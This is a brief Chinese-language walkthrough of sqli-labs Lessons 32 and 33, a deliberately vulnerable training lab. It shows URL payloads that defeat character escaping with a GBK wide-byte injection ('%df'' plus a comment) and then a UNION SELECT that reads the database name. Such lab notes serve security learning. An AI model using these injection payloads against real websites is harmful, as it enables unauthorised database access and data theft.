环境sqli-labs
less 32
一、输入特殊字符，都被转义了
http://192.168.1.121/sqli/Less-32/?id=1\
http://192.168.1.121/sqli/Less-32/?id=1’
http://192.168.1.121/sqli/Less-32/?id=1’’
二、构造宽字节闭合
http://192.168.1.121/sqli/Less-32/?id=1%df’ --+
理论上%81-%FE均可
三、联合查询数据库
http://192.168.1.121/sqli/Less-32/?id=-1%df’ union select 1,database(),3 --+
less 33
同上
禁止非法，后果自负
